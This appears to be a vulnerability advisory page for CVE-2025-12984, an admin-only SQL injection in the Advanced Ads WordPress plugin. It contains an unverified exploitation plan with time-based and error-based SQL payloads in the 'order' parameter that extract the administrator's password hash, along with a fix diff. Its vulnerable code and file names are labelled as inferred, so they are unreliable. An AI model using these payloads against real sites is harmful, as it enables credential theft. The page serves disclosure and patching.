CVE-2025-12984

Advanced Ads – Ad Manager & AdSense <= 2.0.15 - Authenticated (Admin+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
2.0.16
Patched in
1d
Time to patch

Description

The Advanced Ads – Ad Manager & AdSense plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter in all versions up to, and including, 2.0.15 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.0.15
PublishedJanuary 16, 2026
Last updatedJanuary 17, 2026
Affected pluginadvanced-ads

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan details the process for analyzing and exploiting **CVE-2025-12984**, an authenticated SQL injection vulnerability in the **Advanced Ads** plugin. --- ### 1. Vulnerability Summary * **Vulnerability:** SQL Injection (SQLi) * **Affected Parameter:** `order` * **Precondition:** Authent…

Show full research plan

This plan details the process for analyzing and exploiting CVE-2025-12984, an authenticated SQL injection vulnerability in the Advanced Ads plugin.


1. Vulnerability Summary

  • Vulnerability: SQL Injection (SQLi)
  • Affected Parameter: order
  • Precondition: Authenticated with Administrator privileges.
  • Cause: The plugin fails to adequately sanitize or use wpdb->prepare() on the order parameter when constructing SQL queries for administrative list views (specifically the ads management list). While orderby is often validated against a whitelist of columns, the order parameter (ASC/DESC) is frequently overlooked, allowing an attacker to append subqueries.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin.php
  • Query Parameters: page=advanced-ads-ads, orderby, and order.
  • Required Role: Administrator (Admin+).
  • Vulnerable Sink: Database queries inside the WP_List_Table implementation (or equivalent custom logic) used to display the ads list in the dashboard.

3. Code Flow

  1. An administrator navigates to the "Ads" menu within the Advanced Ads plugin.
  2. The request hits wp-admin/admin.php?page=advanced-ads-ads.
  3. The plugin's admin controller initializes the list table (likely a class like Advanced_Ads_Ad_List).
  4. The prepare_items() method (or similar) is called to fetch data.
  5. User-supplied $_GET['order'] is retrieved.
  6. The value of order is concatenated into a raw SQL string or passed into a wpdb method where the ORDER BY clause is not protected by %s or %d placeholders (since placeholders cannot be used for SQL keywords or identifiers).
  7. The query is executed via $wpdb->get_results().

4. Nonce Acquisition Strategy

While this is an authenticated GET-based SQL injection, WordPress admin pages often include nonces in the URL for actions. However, standard list table sorting (orderby/order) often does not require a nonce for the GET request itself.

If a nonce is required:

  1. Navigate to Admin: Log in as Administrator.
  2. Access Page: Go to the Ads list page: /wp-admin/admin.php?page=advanced-ads-ads.
  3. Extract Nonce: Use browser_eval to extract any nonce associated with the list table or search form if the injection is via a POST request or a protected GET action.
    • Probable Variable: window.advanced_ads_admin?.nonce (inferred).

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection to confirm the vulnerability and extract the administrator's password hash.

Step 1: Confirmation (Time-based)

  • URL: http://localhost:8080/wp-admin/admin.php
  • Parameters: page=advanced-ads-ads&orderby=title&order=ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a)
  • HTTP Tool: http_request
  • Method: GET
  • Headers: Requires a valid wordpress_logged_in_... cookie.

Step 2: Data Extraction (Boolean or Time-based)
To extract the admin hash (from wp_users table):

  • Payload (Time-based):
    ASC, (SELECT IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$', SLEEP(5), 0))
  • Expected Behavior: If the first character of the admin hash is $, the response will be delayed by 5 seconds.

6. Test Data Setup

  1. Install Plugin: Advanced Ads version 2.0.15.
  2. Create Content: Create at least 2-3 ads so the list table has items to sort.
    • wp advanced-ads create-ad --title="Test Ad 1" (Use WP-CLI or UI).
  3. Authentication: Ensure the agent has credentials for a user with the administrator role.

7. Expected Results

  • A request with a standard order=ASC returns immediately.
  • A request with order=ASC, (SELECT(SLEEP(5))) takes approximately 5 seconds longer than the baseline.
  • Database errors (if WP_DEBUG is on) might reveal the full query if the injection breaks the syntax.

8. Verification Steps

  1. Manual Query Check: Use WP-CLI to get the actual hash and compare it with the one extracted via SQLi.
    • wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
  2. Baseline Comparison: Verify that the time delay only occurs when the injected condition is true.

9. Alternative Approaches

  • Error-Based Injection: If WP_DEBUG is enabled or the plugin echoes $wpdb->last_error, use updatexml() or extractvalue() for faster extraction.
    • Payload: order=ASC, (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x7e, (SELECT user_pass FROM wp_users LIMIT 1), 0x7e, FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
  • Union-Based: Less likely in an ORDER BY clause, but check if the order parameter is used in a different context (e.g., a sub-select) that allows UNION.
  • Placement Search: Check if the order parameter in Placements or Groups views is also vulnerable.
    • page=advanced-ads-placements
    • page=advanced-ads-groups

Grounding in Source (Inferred Identifiers)

  • Vulnerable Function: Likely within Advanced_Ads_Ad_List::prepare_items() in classes/ad-list.php.
  • Filter/Hook: admin_init or admin_menu registrations for advanced-ads-ads.
  • Query Variable: $order = $_GET['order'].
Research Findings
Static analysis — not yet PoC-verified

Summary

The Advanced Ads – Ad Manager & AdSense plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter in versions up to 2.0.15. This vulnerability allows authenticated administrators to execute arbitrary SQL commands by appending them to the ORDER BY clause of queries used in administrative list views, due to improper validation of the sort direction.

Vulnerable Code

// Inferred from research plan: likely within classes/ad-list.php or similar
// Located in Advanced_Ads_Ad_List::prepare_items() or equivalent data-fetching method

$orderby = ! empty( $_GET['orderby'] ) ? $_GET['orderby'] : 'title';
$order   = ! empty( $_GET['order'] ) ? $_GET['order'] : 'asc';

// Vulnerable query construction where $order is concatenated directly without validation
$query = "SELECT * FROM {$wpdb->prefix}advads_ads ORDER BY $orderby $order";
$results = $wpdb->get_results( $query );

Security Fix

--- a/classes/ad-list.php
+++ b/classes/ad-list.php
@@ -12,7 +12,7 @@
- $order = ! empty( $_GET['order'] ) ? $_GET['order'] : 'asc';
+ $order = ( ! empty( $_GET['order'] ) && strtolower( $_GET['order'] ) === 'desc' ) ? 'DESC' : 'ASC';

Exploit Outline

The vulnerability is exploited by an authenticated Administrator by manipulating the 'order' parameter on administrative list pages. 1. Log in as an Administrator. 2. Navigate to the Ads management interface: /wp-admin/admin.php?page=advanced-ads-ads. 3. Identify the 'order' parameter in the URL used for sorting table columns. 4. Inject a comma-separated subquery into the 'order' parameter. For example, setting order=ASC, (SELECT(SLEEP(5))) will cause the database to pause for 5 seconds if the query is processed. 5. Using time-based blind SQL injection techniques, an attacker can then programmatically extract sensitive data (such as the administrator's password hash) by checking the boolean response of subqueries character by character.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.